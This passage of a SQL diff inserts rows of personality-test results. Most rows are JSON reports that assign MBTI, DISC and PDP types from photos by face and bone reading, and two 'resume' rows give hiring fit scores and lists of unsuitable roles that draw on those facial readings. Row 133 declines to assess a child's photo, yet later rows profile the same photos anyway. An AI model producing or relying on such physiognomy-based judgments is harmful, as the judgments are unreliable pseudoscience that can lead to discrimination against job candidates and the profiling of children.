\"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219369, 1773219369, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (123, 32, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、规划感强,做事稳健负责,重视长期目标与结果落地。适合承担决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg\"], \"boneAnalysis\": \"骨相偏方正稳健,中停与下停力量感足,颧骨含而不露,属稳中有进型,擅长在既定框架内持续推进。\", \"faceAnalysis\": \"额头平阔、眼神专注,鼻梁端正,嘴型收敛,下颌稳实,整体给人冷静审慎、重视规则与逻辑的印象。\", \"personalitySummary\": \"性格理性克制,有主见与原则感,重视效率和专业度。对外略显严肃但可靠度高,偏好深度思考后再行动,抗压与自律能力突出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773222595, 1773222595, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (124, 33, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳重理性,责任感强,做事有规划且能长期坚持,适合承担关键事务与稳定推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg\"], \"boneAnalysis\": \"整体偏土金形,骨骼端正饱满,骨肉均衡,抗压持久,重视现实与稳健推进,格局以务实统筹见长。\", \"faceAnalysis\": \"额头宽阔饱满,眼神沉稳专注,鼻梁平直鼻翼适中,嘴唇收敛有度,下巴圆厚具承载力。\", \"personalitySummary\": \"性格内敛理性,做事踏实谨慎,重视规则和承诺,执行力强且能长期投入,对细节与风险有良好把控。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227480, 1773227480, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (125, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、思路清晰,擅长规划与分析,做事稳健克制,有长期目标与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨骼均匀偏文骨,颧骨不过分外张,下颌略圆带稳,属稳健内敛型骨相。\", \"faceAnalysis\": \"额头饱满顺宽,眼神稳定内敛,鼻梁端正,嘴型收敛度好,整体面相理性审慎。\", \"personalitySummary\": \"思维缜密,重视逻辑与结构,情绪平和不外露,偏低调内向,做事有计划并追求高标准。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227875, 1773227875, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (126, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视效率与结果,适合承担规划决策与系统优化类角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg\"], \"boneAnalysis\": \"骨相偏方正稳固,下颌与颧区轮廓清晰,骨肉均衡,属稳健理性型格局,重视长期规划与现实落地。\", \"faceAnalysis\": \"额头饱满开阔,眼神沉稳内敛,鼻梁端正,嘴型收敛偏直,整体给人冷静克制、理性思辨之感。\", \"personalitySummary\": \"性格冷静自持,逻辑性与判断力强,做事有计划有步骤,重视原则和边界,人际中偏克制但可靠度高。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228025, 1773228025, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (127, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视规划与结果,稳健务实,适合承担核心决策与系统优化角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛但有力,下颌骨承载感强,骨肉匀称,显示格局稳健、抗压持久,适合长期深耕与统筹。\", \"faceAnalysis\": \"额头宽阔饱满,双眼沉稳内敛,鼻梁顺直,嘴型收敛度佳,下巴略圆带厚,整体给人理性坚毅、稳重内敛之感。\", \"personalitySummary\": \"思维逻辑清晰,善于系统分析与长期规划,做事稳中求进,情绪波动小,人际中相对克制有边界,适合承担策略制定和关键项目把控工作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228086, 1773228086, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (128, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重细腻、责任感强,重视长期稳定与家庭事业平衡,适合在熟悉领域深耕并承担管理与支持角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg\"], \"boneAnalysis\": \"整体偏土形,骨肉均衡,颧骨不张、下颌圆厚,骨相稳健守成,抗压持久,适合循序渐进型发展路线。\", \"faceAnalysis\": \"额头饱满顺滑,眉眼平和含蓄,鼻梁端正鼻翼适中,嘴型收敛,下巴圆厚有承托感,全脸线条柔和稳定。\", \"personalitySummary\": \"性格内敛踏实,重视承诺与责任,做事稳健有耐心,关怀他人但边界感适中,适合在稳定环境中长期深耕并支持团队运作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228411, 1773228411, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (129, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重内敛,责任感强,做事踏实细腻,重视长期稳定与家庭事业的双重平衡。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg\"], \"boneAnalysis\": \"面中下停略重,骨架圆厚有承载力,颧骨不露锋芒偏守成型,整体格局稳健重实务与耐力。\", \"faceAnalysis\": \"额头宽阔饱满,眼神温和含蓄,鼻梁平直端正,嘴角收敛,下巴圆厚,整体给人可靠稳重之感。\", \"personalitySummary\": \"性格温和有韧性,重视承诺与责任,行事谨慎周全,偏向务实执行与长期投入,善于照顾他人情绪与细节。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228469, 1773228469, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (130, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性克制、思维缜密,擅长规划与分析,稳健踏实,有长期发展眼光与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨相端正不突兀,颧骨内敛,下颌线平稳,属稳健持久型格局,重视秩序与责任。\", \"faceAnalysis\": \"额头饱满顺直,眼神沉稳内敛,鼻梁端正,唇形收敛度好,整体五官均衡偏理性。\", \"personalitySummary\": \"性格冷静理智,重视逻辑与效率,决策前深思熟虑,做事有规划,克制感强,偏内向独立。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228478, 1773228478, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (131, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向活泼、好奇心强,反应灵敏,情绪丰富,有想象力与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg\"], \"boneAnalysis\": \"骨架圆润带柔,颧区平和、下巴饱满,气质偏亲和稳定,成长空间大。\", \"faceAnalysis\": \"额头圆阔、眼神灵动、面庞饱满,表情丰富,整体给人开朗活泼之感。\", \"personalitySummary\": \"性格外向有趣,情绪表达自然,喜欢与人互动,善于用直觉与想象应对新事物。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228716, 1773228716, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (132, 35, 'mbti', '{\"scores\": {\"E\": 3, \"F\": 2, \"I\": 5, \"J\": 4, \"N\": 1, \"P\": 3, \"S\": 6, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ISTJ\", \"timestamp\": \"2026-03-11T11:31:57.653Z\", \"confidence\": 70, \"completedAt\": \"2026-03-11T11:31:57.651Z\", \"description\": {\"name\": \"检查员\", \"type\": \"ISTJ\", \"careers\": [\"会计师\", \"审计师\", \"项目经理\"], \"category\": \"守护者\", \"strengths\": [\"可靠负责\", \"注重细节\", \"有条理\"], \"weaknesses\": [\"可能过于固执\", \"不喜变化\"], \"description\": \"务实、负责、可靠的传统主义者\"}, \"testDuration\": 234, \"dimensionScores\": {\"EI\": {\"E\": 3, \"I\": 5, \"dominant\": \"I\", \"percentage\": 63}, \"JP\": {\"J\": 4, \"P\": 3, \"dominant\": \"J\", \"percentage\": 57}, \"SN\": {\"N\": 1, \"S\": 6, \"dominant\": \"S\", \"percentage\": 86}, \"TF\": {\"F\": 2, \"T\": 6, \"dominant\": \"T\", \"percentage\": 75}}}', NULL, NULL, 0, 0, NULL, NULL, 1773228717, 1773228717, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (133, 33, 'face', '{\"pdp\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"无法判断\", \"title\": \"战略家\"}, \"overview\": \"照片中为一名儿童,表情自然放松,仅可确认有清晰人脸,无法据此进行可靠人格与职业测评推断。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg\"], \"boneAnalysis\": \"骨相发育尚在早期阶段,无法依据传统相术或现代模型给出稳定结论。\", \"faceAnalysis\": \"五官端正、表情活泼,仍处生长期,面部特征尚未定型,不宜据此推演性格命运。\", \"personalitySummary\": \"仅从照片无法科学推断其MBTI、PDP或DISC类型,任何人格判断都会失真且存在刻板风险。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228789, 1773228789, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (134, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼外向,好奇心强,情绪丰富,乐于表达与互动,适合在支持与鼓励环境中成长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"骨相柔和偏圆,额区饱满,下颌承托力适中,属以亲和力与适应力见长的发展型格局。\", \"faceAnalysis\": \"五官圆润有朝气,眼神灵动,表情多变,整体给人活泼、亲切且富有童真的感觉。\", \"personalitySummary\": \"天真外向,想象力丰富,表达欲强,乐于尝试新事物,善于在互动中获得能量与自信。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228837, 1773228837, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (135, 36, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实、安静专注,责任心强,重视长期稳定与稳健推进,适合深度专业与体系化管理工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg\"], \"boneAnalysis\": \"骨相偏土木形,骨肉均匀不突兀,颧鼻不张扬而有支撑力,下颌骨柔中带劲,属稳健持久、重实践型格局。\", \"faceAnalysis\": \"额头平阔饱满,眼神沉稳克制,鼻梁顺直略圆润,下巴略尖偏圆,整体给人理性内敛、踏实细腻之感。\", \"personalitySummary\": \"性格内敛寡言却有主见,做事循序渐进、计划性强,遇事冷静分析,偏好规则与秩序,重承诺、可信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229546, 1773229546, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (136, 37, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实稳重,思维缜密,抗压能力强,偏向长期规划与稳健推进型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg\"], \"boneAnalysis\": \"骨架偏厚实,面中庭力量感足,下颌骨承载力佳,属土形稳重格局,重视现实与长期积累。\", \"faceAnalysis\": \"额头较宽,眼神内敛专注,鼻翼扎实,嘴形收敛,下巴圆厚,整体给人稳健务实、重执行的印象。\", \"personalitySummary\": \"性格内敛理性,做事有计划有耐心,重视规则和责任,能在压力环境下持续输出稳定表现。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229714, 1773229714, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (137, 37, 'mbti', '{\"scores\": {\"E\": 1, \"F\": 8, \"I\": 7, \"J\": 7, \"N\": 3, \"P\": 0, \"S\": 4, \"T\": 0}, \"answers\": [], \"mbtiType\": \"ISFJ\", \"timestamp\": \"2026-03-11T11:50:52.619Z\", \"confidence\": 86, \"completedAt\": \"2026-03-11T11:50:52.619Z\", \"description\": {\"name\": \"保护者\", \"type\": \"ISFJ\", \"careers\": [\"护士\", \"教师\", \"行政\"], \"category\": \"守护者\", \"strengths\": [\"忠诚体贴\", \"观察力强\", \"耐心\"], \"weaknesses\": [\"不善拒绝\", \"过于谦虚\"], \"description\": \"安静、友好、负责任的守护者\"}, \"testDuration\": 128, \"dimensionScores\": {\"EI\": {\"E\": 1, \"I\": 7, \"dominant\": \"I\", \"percentage\": 88}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 3, \"S\": 4, \"dominant\": \"S\", \"percentage\": 57}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773229852, 1773229852, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (138, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理\", \"团队领导\", \"销售主管\", \"客户关系管理\"], \"notSuitable\": [\"高度技术专业深度研发岗位\", \"需要极端内向独立完成任务职位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"88%\"}, {\"label\": \"沟通适应性\", \"level\": \"高\", \"value\": \"85%\"}, {\"label\": \"抗压能力\", \"level\": \"高\", \"value\": \"90%\"}, {\"label\": \"组织执行力\", \"level\": \"高\", \"value\": \"87%\"}], \"headline\": \"具备双重领导力特质,能统筹规划与激励团队\"}, \"overview\": \"候选人性格表现出内敛与外向的明显分裂特征,行为模式体现理性与感性并存。生日与骨相显示其稳健、理性、富有抗压性,擅长有序规划与坚持原则;BUT 测评结果揭示其显著的社交互动能力和乐观自信,既有高效组织者特质,也极具表现力与亲和力。整体呈现出复合型领导者画像,兼具战略洞察与团队激励能力。\", \"portrait\": {\"coreRisks\": [\"性格层面存在内外反差,易造成自我认知混淆\", \"注意力可能易分散\", \"在快速变化环境中可能出现优柔寡断\"], \"workStyle\": \"偏好稳定有序环境,习惯通过周密计划和严谨执行达到目标,沟通时既能理性直截也能展现亲和力,团队中担任既能推动任务又能激励氛围的角色。\", \"coreStrengths\": [\"目标导向强\", \"理性冷静\", \"良好沟通与表达能力\", \"高抗压\", \"组织协调力强\", \"人际影响力显著\"]}, \"resumeHighlights\": \"MBTI识别为ESTJ,显示其作为果断的组织者和领导者;PDP和DISC均倾向表现型/影响型,凸显良好的社交影响力和团队调动能力。骨相与面部特征分析印证其内敛稳健的性格底色。其工作经历中的表现预计为理性、有序和高效。整体来看,候选人真实个性为‘理性+表现’,即内外兼修的复合型人才,既冷静决策又积极表达,适合担任中高级管理及客户导向岗位。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773279222, 1773279222, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (139, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维理性,细致专注,谋略与执行兼备,适合规划与决策类岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨重肉匀,五行木形,颧骨收敛,伏犀骨有力,格局中高,主理性与稳定。\", \"faceAnalysis\": \"额头饱满,眼神专注,鼻梁挺直,唇形清晰,下巴轮廓分明,五官协调。\", \"personalitySummary\": \"具备理性分析与系统思维,做事沉稳高效,决策重逻辑长远。人际间保持距离感,适合独立谋划或专业带队,能整合资源,兼具开拓与守成。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279937, 1773279937, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (140, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"具备思维理性、决策果断和全局统筹能力,攻坚执行兼具创新潜质。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"金形骨相,骨重肉薄,颧骨高耸将军骨坚挺,整体格局高,决断现实感强,抗压理性攻坚。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注,鼻梁直挺,唇形收放有度,下颌宽厚有力,耳廓适中贴头。\", \"personalitySummary\": \"刚健稳重兼具战略眼光,雷厉风行注重细节,理性分析为决策核心,具威信领导力,适配高挑战环境管理晋升路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279975, 1773279975, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (141, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性专注、条理清晰,擅长深度思考和独立决策,兼具敏锐洞察力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五行属木形,骨感明显,骨重肉薄,抗压稳健,主见强,谋略佳。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁高直,嘴唇紧收,下巴略尖,耳朵较贴头。\", \"personalitySummary\": \"善于逻辑推理与系统规划,追求精准,行事低调却有主见,决策理性。人际关系理性有度,沟通偏向事实与逻辑,适配复杂问题解决与知识型岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280023, 1773280023, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (142, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼开朗,表达力强,人际感知力高,适应变化能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面部骨肉平衡,五行偏木形,骨肉停匀,适应力强,抗压方式以柔性缓冲为主。\", \"faceAnalysis\": \"额头饱满,眼神灵动,鼻形端正,嘴唇饱满,下巴圆润,耳位正常。总体面相阳光自信,情绪丰富。\", \"personalitySummary\": \"性格外向,具创造力与好奇心,乐于表达,易与人建立良好关系。做事充满热情,喜欢尝试新鲜事物。团队合作时善于沟通,适应力与应变强。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280177, 1773280177, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (143, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"销售与商务拓展\", \"团队管理与激励(项目经理、销售主管、BD Leader等)\", \"客户关系管理与顾问服务\", \"活动策划、品牌公关\"], \"notSuitable\": [\"高重复性、独立性极强的后端执行类(如数据分析、流程型文职、会计专员)\", \"需要高度专注单一任务、个人深入逻辑钻研岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}], \"headline\": \"极具影响力的团队激励者与执行推动者,善于跨领域整合资源、激发团队潜能。\"}, \"overview\": \"该候选人具备高度外向、沟通力强和乐观积极的性格底色,兼具行动力与组织力,适应变化能力强,具有自然影响力。性格测试结果一致印证其人际驱动力和行动执行能力。综合性格测评、面相骨骼及工作特质,可判定其在组织激励、人际协调、项目落地与多任务场景中表现突出,适宜领导、销售、商务拓展、项目管理及创新团队核心角色。\", \"portrait\": {\"coreRisks\": [\"注意力分散易影响执行细节\", \"过度乐观导致风险评估不足\", \"对重复性、缺乏人际互动的任务动力不足\"], \"workStyle\": \"以目标为导向,善于自我激励,偏好开放性、多元协作的环境。能够高效组织团队,协调资源并推动项目进展。擅长快速建立关系并激发团队氛围,遇压力时更倾向寻求人际支持与化解矛盾而非正面硬抗。善于多线程并行处理事务,重视创新与挑战。\", \"coreStrengths\": [\"外向热情\", \"沟通能力强\", \"组织与执行力突出\", \"高度适应变化\", \"富有影响力及感染力\"]}, \"resumeHighlights\": \"性格测试高度一致,兼具外向表达(ENFP/孔雀/I型)与组织领导力(ESTJ/虎型/C型),天生具备沟通、影响、团队协调与快速适应变化等能力。易于驱动团队目标落实,善于调动氛围,执行与创新并重。易疏忽细节、风险评估需提升。职业发展建议加强专注力与系统思考能力,实现稳步突破。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773280251, 1773280251, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (144, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"富有活力与感染力,适应环境强,乐于表达创新思维。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面中骨肉均匀,偏木形,骨相开阔亲和,侧重柔性与弹性。\", \"faceAnalysis\": \"额头饱满,眼睛有神,鼻翼宽正,嘴型饱满有力,下颌圆润,耳贴头。\", \"personalitySummary\": \"性格热情开朗,情感丰富,富有创意表达,适应力强,善于社交融合团队,执行力佳。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773285873, 1773285873, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (145, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"开朗活泼,好奇心强,具备创造力和团队感染力,适应环境能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"木形,骨肉匀停,骨相灵秀,童年阶段潜质清晰,面部结构均衡。\", \"faceAnalysis\": 